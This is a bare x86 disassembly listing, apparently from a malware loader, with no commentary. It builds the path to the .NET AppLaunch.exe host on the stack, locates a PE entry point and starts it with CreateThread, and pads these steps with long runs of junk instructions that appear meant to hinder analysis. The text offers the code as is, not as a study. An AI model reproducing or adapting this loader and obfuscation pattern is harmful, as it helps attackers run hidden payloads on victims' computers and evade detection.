mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x40e55c
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401960
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
inc eax
imul eax
ror edi, 0x21
and ebx, 0x4f
not edi
rcr edi, 0xe0
bswap eax
not eax
dec edi
rcr eax, 0xfe
or ebx, 0x81
inc eax
bswap edx
imul ebx
inc edi
and edi, 0xe5
dec edx
not esi
mov ebx, 0xc
add ebx, 0x69
not ebx
add edi, 0x2d
bswap ebx
rcr ebx, 0x4b
add esi, 0x1e
imul edi
rol esi, 0x18
rcr eax, 0xf8
imul esi
inc edx
not edi
sbb ebx, 0x89
add esi, 0xe2
bswap eax
neg edx
sbb edx, 0x2f
bswap edx
imul eax
mov esi, 0x9c
add ebx, 0xc2
bswap ebx
add eax, 0xc0
neg esi
rol eax, 0xd
not eax
bswap eax
not edi
neg edx
and edi, 0x24
bswap edi
bswap eax
imul edx
sbb edx, 0x38
and eax, 0x50
inc esi
rcr edi, 0x4a
add eax, 0x5e
dec esi
dec eax
bswap esi
dec eax
rcl esi, 0x66
dec edx
rol edx, 0x4d
mov eax, 0x28
add ebx, 0xca
rcl eax, 0x8d
and ebx, 0xf5
add esi, 1
inc esi
neg edx
add edx, 0xe7
or eax, 0xed
and esi, 0xc1
rcl eax, 0x77
add edi, 0x46
rcl ebx, 0xb3
rcr edi, 0xd4
inc edi
dec eax
mov esi, 0x4b
rcr eax, 0xed
dec edx
sbb eax, 0x47
rcl edi, 0xc
and edx, 0x1d
dec edx
neg edx
inc eax
rcr eax, 0xbf
not eax
or edi, 0x12
inc edx
neg edx
add ebx, 0x1a
mov edi, 0x51
neg edi
imul esi
dec esi
dec edi
not eax
not esi
bswap ebx
sbb esi, 0xa2
sub ebx, 0xc
inc edi
dec ebx
sub esi, 0xb
rol edi, 0xa5
ror eax, 0x6a
bswap edi
not esi
rcl esi, 0x42
rol edi, 0x76
add edi, 0xce
rol eax, 0xbb
add esi, 0xd2
rol eax, 0x71
imul edi
inc ebx
rcl edx, 8
imul eax
sbb edx, 0x32
not ebx
bswap edi
imul eax
mov eax, 0xa1
imul edi
or edi, 3
neg eax
bswap ebx
add eax, 0x6d
or edx, 0xe5
sub eax, 0x94
or edi, 1
bswap esi
not ebx
not edx
inc edi
sub eax, 0xdd
dec edx
bswap ebx
and edi, 0xfe
sub eax, 0x8f
not esi
sbb edx, 0x11
and edx, 0x9e
dec edi
not ebx
neg edx
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x40e74a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401960
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, 0x64
imul edx
not esi
not esi
add esi, 0x21
rcr ebx, 0xc
rcr edx, 0x41
bswap ebx
sbb edx, 0x51
neg edx
dec edx
ror ebx, 0x90
add esi, 0xce
add edi, 0x9e
bswap eax
sbb edi, 0xed
and eax, 0x88
sbb edx, 0xfe
add eax, 0xb1
neg esi
add esi, 0xdf
ror eax, 0xc6
rol edi, 0xe8
rcr esi, 0xc
or edx, 0xee
bswap ebx
inc edi
rcl edi, 0x4a
neg ebx
inc eax
imul esi
imul eax
neg edx
rcl eax, 0x51
not ebx
bswap ebx
rcl edi, 0xba
rcr esi, 0x9b
mov esi, 0x9e
inc esi
not ebx
dec edx
dec eax
inc edi
bswap eax
dec edx
and edx, 0xd8
rol eax, 0x68
dec esi
or edi, 0x6e
bswap edi
and esi, 0x21
dec esi
ror edx, 0xc4
not edx
bswap esi
dec esi
sub edi, 0x6f
neg edx
imul eax
sbb esi, 0x32
rcl ebx, 0x80
add edi, 0x4b
inc edi
imul eax
ror esi, 0x57
or esi, 0xbc
inc edi
dec edx
not edx
sub edi, 0x83
not eax
sbb eax, 0x32
bswap eax
ror esi, 0x69
imul esi
sub edi, 0xfb
not eax
dec ebx
dec esi
ror esi, 0x89
or ebx, 0x99
neg eax
bswap eax
and esi, 0xac
rcr ebx, 0x52
ror eax, 0x65
bswap edx
dec edi
sbb eax, 0x1e
imul ebx
imul esi
and ebx, 0x83
sbb ebx, 0xed
ror edi, 0xa4
dec edi
rcl edi, 0xe8
dec edx
neg ebx
add eax, 0xfa
ror ebx, 0x12
not eax
neg eax
not ebx
and ebx, 0x92
rcl edi, 0x67
rcr edx, 0xa0
sub ebx, 9
or edx, 0xe3
ror eax, 0xc6
dec ebx
neg edx
imul ebx
rol edi, 0x79
ror esi, 0x9e
inc edx
neg esi
rol ebx, 0x64
sub esi, 6
rcr edi, 0xc1
add edi, 0x18
mov eax, 0x3b
inc edx
not ebx
not edx
bswap esi
bswap edx
mov esi, 0xb0
neg eax
sbb eax, 0xb
add edx, 0x2a
and ebx, 0xd4
imul edx
imul esi
neg edx
not edi
neg edx
sub edi, 0x77
sbb eax, 0x57
dec eax
imul edi
or eax, 0xe5
rol edx, 0xaf
imul esi
and edx, 0xd3
inc edx
dec eax
inc edx
add ebx, 0xab
rcr esi, 0x38
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret